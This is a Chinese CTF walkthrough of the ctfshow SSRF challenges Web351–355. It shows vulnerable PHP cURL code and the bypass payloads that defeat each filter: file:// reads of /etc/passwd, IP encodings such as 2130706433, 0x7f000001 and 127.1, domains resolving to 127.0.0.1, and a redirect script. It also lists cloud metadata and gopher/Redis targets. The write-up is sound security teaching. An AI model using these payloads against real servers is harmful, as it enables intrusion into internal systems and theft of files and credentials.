ctfshow靶场SSRF部分——基础绕过到协议攻击解题思路与技巧(一)

本文以ctfshow靶场SSRF专栏为例,探讨PHP环境下基于cURL组件引发的请求伪造漏洞。内容重点分析正则表达式过滤缺陷、数字黑名单绕过、DNS重绑定(DNS Rebinding)技术原理,以及利用IP缩写突破主机名长度限制的底层逻辑。

文章目录


SSRF介绍

什么是 SSRF

SSRF(Server-Side Request Forgery,服务端请求伪造)是一种由攻击者构造指令,并最终由服务端发起请求的安全漏洞;其核心本质是攻击者利用存在安全缺陷的 Web 应用程序作为跳板或代理,去访问和攻击那些原本对外部网络不可见、攻击者自身无法直接触及的内部网络或本地系统。

原理与作用

它的作用机制在于信任的滥用:当目标 Web 服务提供了从其他服务器获取数据的功能(例如图片远程拉取、网页翻译、Webhook 集成),却未能对用户传入的目标 URL 及其协议进行严格的校验与过滤时,攻击者便可以随意篡改这个 URL,迫使服务端乖乖"听令",代替攻击者向指定的任意地址发起网络请求。

攻击用途

在实战场景中,攻击者主要将其用作突破边界防御的内网渗透利器,具体用途包括对受保护的内网进行大规模的资产探活与端口扫描、利用伪协议读取目标服务器本地的敏感配置文件(如密码本、数据库连接信息),以及对内网中缺乏身份验证的脆弱服务(如 Redis、MySQL、未授权的 API)发送恶意数据包。


Web351

SSRF开始啦

这里我们打开页面,得到如下结果:

内容如下:

php 复制代码
<?php
error_reporting(0);
highlight_file(__FILE__);
$url = $_POST['url'];
$ch = curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result = curl_exec($ch);
curl_close($ch);
echo($result);
?

代码解释:

  • 接收输入:$url = $_POST['url'] 获取用户POST提交的URL参数
  • 漏洞核心:curl_init($url) 直接将用户可控URL传入cURL发起请求
  • 执行请求:curl_exec($ch) 发送网络请求并获取目标响应

这是一道经典的 SSRF (Server-Side Request Forgery,服务端请求伪造) 题目:

常见的SSRF渗透思路通常有以下几步:

  1. 读取本地文件: 利用 file:// 协议,直接读取系统配置文件(如 /etc/passwd)或目录下的 Flag。
  2. 探测内网资产: 借助 http:// 扫描内网存活主机与开放端口(如 6379, 3306),寻找未授权访问目标。
  3. 深度打击内网 (RCE): 使用万金油协议 gopher:// 或 dict://,构造恶意数据流攻击内网的 Redis、MySQL 等组件,获取服务器权限。
  4. 获取后端源码: 结合 php://filter 伪协议,将目标代码(如 flag.php)Base64 编码后读出,绕过 PHP 解析引擎。
  5. 云环境窃密(特殊场景): 若目标位于公有云,尝试请求 http://169.254.169.254 窃取云实例的元数据及控制台密钥。

解题思路

根据上述,我们尝试读取一下本地文件file://:

bash 复制代码
url=file:///etc/passwd

得到结果:

随后尝试一下读取flag文件;

有时候题目会限制外部网络访问,但允许本地访问(Bypass Localhost Restrictions)。有些 flag 可能藏在只有 127.0.0.1 才能访问的页面里。

这里比较幸运,通过本地回环得到了flag:

bash 复制代码
url=http://127.0.0.1/flag.php

成功得到flag:

Web352

来到下一题,还是首先观察一下题目:

php 复制代码
<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
if(!preg_match('/localhost|127.0.0/')){
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
}
else{
    die('hacker');
}
}
else{
    die('hacker');
}
?> hacker

代码解释:

  1. 协议限制: :
    if($x['scheme'] === 'http' || $x['scheme']==='https') 检查 URL 必须以 http:// 或 https:// 开头。这是为了防止攻击者使用 file://(读取本地文件)或 dict:// 等其他危险协议。

  2. 黑名单过滤失效(语法错误) :
    if(!preg_match('/localhost|127.0.0/')) 这一行中,preg_match 函数漏写了第二个参数 (应该写成 preg_match('...', $url))。这导致该函数执行失败返回 false,再经过 ! 取反后永远为 true,使得针对 localhost 和内网 IP 的拦截完全失效。

  3. 任意请求执行 :

    防御失效后,代码直接通过 curl_exec($url) 去请求用户完全可控的 URL,并输出结果。

漏洞后果 :攻击者可以传入 [http://127.0.0.1](http://127.0.0.1) 或其他内网地址,利用这台服务器作为跳板,直接读取和探测它的本地或内网敏感服务。

解题思路

既然由于代码本身的逻辑,导致 if(!preg_match('/localhost|127.0.0/')) 限制失败,所以我们还是可以用上一关的相同payload:

bash 复制代码
url=http://127.0.0.1/flag.php

成功拿到flag;

Web353

我们打开新一关,发现代码发生了变化:

php 复制代码
<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
if(!preg_match('/localhost|127\.0\.|\。/i', $url)){
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
}
else{
    die('hacker');
}
}
else{
    die('hacker');
}
?> hacker

代码解释:

虽然这次 preg_match('/localhost|127\.0\.|\。/i', $url) 语法写对了,但仅拦截了 localhost 、127.0. 和句号 。,这种基于表面字符串的防御非常脆弱。

解题思路

我们只需换种写法,不触发这些关键字,依然能让服务器请求本地或内网:

  1. IP 进制转换 :将 127.0.0.1 转换为十进制形式(如 http://2130706433)或十六进制形式(如 http://0x7f000001)。
  2. 缺省 IP 写法 :在很多系统上,使用 http://0.0.0.0 甚至直接简写为 http://0 都能直接访问本地服务。
  3. 域名解析(DNS 欺骗) :攻击者可以用一个指向 127.0.0.1 的公网域名(例如 http://localtest.me 或攻击者自己配置的域名),直接绕过所有 IP 字符限制。
bash 复制代码
# payload
url=http://2130706433/flag.php
url=http://0x7f000001/flag.php
url=http://0.0.0.0/flag.php

使用以上payload都可以得到flag:

Web354

同理,我们还是先看代码:

php 复制代码
<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
if(!preg_match('/localhost|1|0|。/i', $url)){
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
}
else{
    die('hacker');
}
}
else{
    die('hacker');
}
?> hacker

与上一关相比,唯一的区别在于黑名单正则表达式变得极其严格:

  • 上一关过滤规则 :'/localhost|127\.0\.|\。/i' (主要防普通的 127.0 开头的 IP)
  • 本关过滤规则 :'/localhost|1|0|。/i' (直接拉黑了数字 1 和 0)

区别与脆弱性影响 :

直接过滤掉 1 和 0,使得上一关常用的 IP 变形手法(如 127.1、0.0.0.0、十进制 2130706433、十六进制 0x7f000001 等)全部失效。

解题思路

但依然存在 SSRF 漏洞 ,因为拦截的只是字符串表面。攻击者可以注册一个完全不包含数字 1 和 0 的域名(例如 [http://my-domain.net](http://my-domain.net)),并在自己的 DNS 服务器上将该域名解析到 127.0.0.1,即可完美绕过这层过滤。

bash 复制代码
方法一:将域名A类指向127.0.0.1
http(s)://sudo.cc/指向127.0.0.1

url=http://sudo.cc/flag.php

方法二:
<?php header("Location: http://127.0.0.1/flag.php");
# POST: url=http://your-domain/ssrf.php

方法三:DNSlog平台绑定127.0.0.1

这里我们也可以自己去找个DNSlog平台(注意域名里不能有1):

随后绑定DNS为:127.0.0.1,当你需要让域名解析到你刚才绑定的 127.0.0.1 时,需要在你的专属标识符(Identifier)前加上 r.

bash 复制代码
url=http://r.xxx.ceye.io/flag.php

成功返回结果:

成功拿到结果;

Web355

我们还是先看代码:

php 复制代码
<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
$host=$x['host'];
if((strlen($host)<=5)){
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
}
else{
    die('hacker');
}
}
else{
    die('hacker');
}
?> hacker

与上一关相比,最大的区别在于防御机制由"关键字黑名单"变成了"主机名长度限制"。

  • 上一关:通过正则过滤字符(不能有 1、0 等),你用自定义的 CEYE 域名绕过了。
  • 本关(区别) :去掉了正则过滤,改为提取 URL 中的 host(主机名/IP部分),并严格限制它的长度必须小于或等于 5 (strlen($host) <= 5)。

区别与脆弱性影响 :

由于长度被限制在 5 以内,你上一关用的 CEYE 域名(如 r.gojo4j.ceye.io,长度为 16)在这里就行不通了,会被直接拦截。

绕过思路

但漏洞依然存在 ,因为攻击者可以使用极其简短的 IP 缩写形式 来绕过长度限制访问本地服务,例如:

  1. http://127.1 (127.1 长度刚好是 5,在网络请求中会自动补全等效于 127.0.0.1)。
  2. http://0 (0 长度只有 1,在多数 Linux 服务器环境下,http://0 会直接解析为访问本地 127.0.0.1 或 0.0.0.0)。

这里我们直接执行payload:

bash 复制代码
url=http://127.1/flag.php
url=http://0/flag.php

成功得到结果:

总结

本文以ctfshow靶场SSRF专栏为例,探讨PHP环境下基于cURL组件引发的请求伪造漏洞。内容重点分析正则表达式过滤缺陷、数字黑名单绕过、DNS重绑定(DNS Rebinding)技术原理,以及利用IP缩写突破主机名长度限制的底层逻辑。

期待下次再见;

相关推荐
dk_tjy18 小时前
迪康网络运维故障自愈的自动化闭环技术路径分析
运维·网络·自动化
吉普赛的歌19 小时前
如何设置服务器固定时间点自动重启一次
运维·服务器
4SAPI19 小时前
内容生成与文本润色场景下的大模型 API 聚合网关选型指南
人工智能·gateway·php
Carol063019 小时前
上肢及肩肘关节
java·服务器·数据库
风骏时光牛马19 小时前
AI多模块协同自动化工作流
前端
zhangminghuan19 小时前
前端面试应对技巧
前端·面试·职场和发展
一世繁华行19 小时前
CAPL浏览器(翻译自官方文档)
运维·服务器·数据库
万联WANFLOW19 小时前
让分散的设备像在同一张局域网里:企业组网技术解析
运维·网络·网络安全·智能路由器
计算机魔术师19 小时前
潜伏14年的PHP致命洞,AI跑两天就交卷了
前端
IT_陈寒19 小时前
Vue的这个响应式陷阱我居然现在才发现
前端·人工智能·后端